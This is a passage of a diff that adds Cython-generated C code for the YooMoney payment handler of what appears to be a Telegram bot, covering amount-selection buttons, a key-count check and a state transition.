__pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_text); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_t_3) < 0) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":71 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< + * ) + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_10 = __Pyx_PyObject_GetItem(__pyx_t_3, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __pyx_t_10 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyUnicode_Concat(__pyx_n_u_yoomoney, __pyx_t_10); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_t_3) < 0) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":69 + * else: + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_4); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_4, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_t_3}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + } + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __pyx_L8:; + + /* "handlers/payments/yoomoney_pay.py":55 + * builder = InlineKeyboardBuilder() + * + * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + */ + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":74 + * ) + * ) + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=" ", + */ + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + + /* "handlers/payments/yoomoney_pay.py":75 + * ) + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=" ", + * callback_data="enter_custom_amount_yoomoney", + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + + /* "handlers/payments/yoomoney_pay.py":76 + * builder.row( + * InlineKeyboardButton( + * text=" ", # <<<<<<<<<<<<<< + * callback_data="enter_custom_amount_yoomoney", + * ) + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 76, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__2) < 0) __PYX_ERR(0, 76, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_enter_custom_amount_yoomoney) < 0) __PYX_ERR(0, 76, __pyx_L1_error) + + /* "handlers/payments/yoomoney_pay.py":75 + * ) + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=" ", + * callback_data="enter_custom_amount_yoomoney", + */ + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_11}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":80 + * ) + * ) + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) # <<<<<<<<<<<<<< + * + * key_count = await get_key_count(tg_id) + */ + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 80, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 80, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_4}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":82 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) + * + * key_count = await get_key_count(tg_id) # <<<<<<<<<<<<<< + * + * if key_count == 0: + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_4 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_cur_scope->__pyx_v_tg_id}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L10_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 82, __pyx_L1_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_key_count = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":84 + * key_count = await get_key_count(tg_id) + * + * if key_count == 0: # <<<<<<<<<<<<<< + * exists = await check_connection_exists(tg_id) + * if not exists: + */ + __pyx_t_2 = (__Pyx_PyInt_BoolEqObjC(__pyx_cur_scope->__pyx_v_key_count, __pyx_int_0, 0, 0)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 84, __pyx_L1_error) + if (__pyx_t_2) { + + /* "handlers/payments/yoomoney_pay.py":85 + * + * if key_count == 0: + * exists = await check_connection_exists(tg_id) # <<<<<<<<<<<<<< + * if not exists: + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_4 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_cur_scope->__pyx_v_tg_id}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L12_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 85, __pyx_L1_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_exists = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":86 + * if key_count == 0: + * exists = await check_connection_exists(tg_id) + * if not exists: # <<<<<<<<<<<<<< + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * + */ + __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_exists); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 86, __pyx_L1_error) + __pyx_t_15 = (!__pyx_t_2); + if (__pyx_t_15) { + + /* "handlers/payments/yoomoney_pay.py":87 + * exists = await check_connection_exists(tg_id) + * if not exists: + * await add_connection(tg_id, balance=0.0, trial=0, session=session) # <<<<<<<<<<<<<< + * + * await callback_query.message.answer( + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_tg_id); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_tg_id); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_cur_scope->__pyx_v_tg_id)) __PYX_ERR(0, 87, __pyx_L1_error); + __pyx_t_4 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_balance, __pyx_float_0_0) < 0) __PYX_ERR(0, 87, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_trial, __pyx_int_0) < 0) __PYX_ERR(0, 87, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_session, __pyx_cur_scope->__pyx_v_session) < 0) __PYX_ERR(0, 87, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_9, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L14_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 87, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 87, __pyx_L1_error) + } + } + + /* "handlers/payments/yoomoney_pay.py":86 + * if key_count == 0: + * exists = await check_connection_exists(tg_id) + * if not exists: # <<<<<<<<<<<<<< + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * + */ + } + + /* "handlers/payments/yoomoney_pay.py":84 + * key_count = await get_key_count(tg_id) + * + * if key_count == 0: # <<<<<<<<<<<<<< + * exists = await check_connection_exists(tg_id) + * if not exists: + */ + } + + /* "handlers/payments/yoomoney_pay.py":89 + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" :", + * reply_markup=builder.as_markup(), + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 89, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_answer); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 89, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":90 + * + * await callback_query.message.answer( + * text=" :", # <<<<<<<<<<<<<< + * reply_markup=builder.as_markup(), + * ) + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__4) < 0) __PYX_ERR(0, 90, __pyx_L1_error) + + /* "handlers/payments/yoomoney_pay.py":91 + * await callback_query.message.answer( + * text=" :", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 91, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_11 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 91, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_reply_markup, __pyx_t_9) < 0) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/yoomoney_pay.py":89 + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" :", + * reply_markup=builder.as_markup(), + */ + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 89, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 5; + return __pyx_r; + __pyx_L15_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 89, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 89, __pyx_L1_error) + } + } + + /* "handlers/payments/yoomoney_pay.py":94 + * ) + * + * await state.set_state(ReplenishBalanceState.choosing_amount_yoomoney) # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_choosing_amount_yoomoney); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_t_1}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 6; + return __pyx_r; + __pyx_L16_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 94, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 94, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/yoomoney_pay.py":38 + * + * + * @router.callback_query(F.data == "pay_yoomoney") # <<<<<<<<<<<<<< + * async def process_callback_pay_yoomoney( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_4); + __Pyx_XDECREF(__pyx_t_9); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_12); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_AddTraceback("process_callback_pay_yoomoney", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/yoomoney_pay.py":98 + * + * + * @router.callback_query(F.data.startswith("yoomoney_amount")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_12yoomoney_pay_4process_amount_selection(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_12yoomoney_pay_4process_amount_selection = {"process_amount_selection", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_12yoomoney_pay_4process_amount_selection, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_12yoomoney_pay_4process_amount_selection(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int 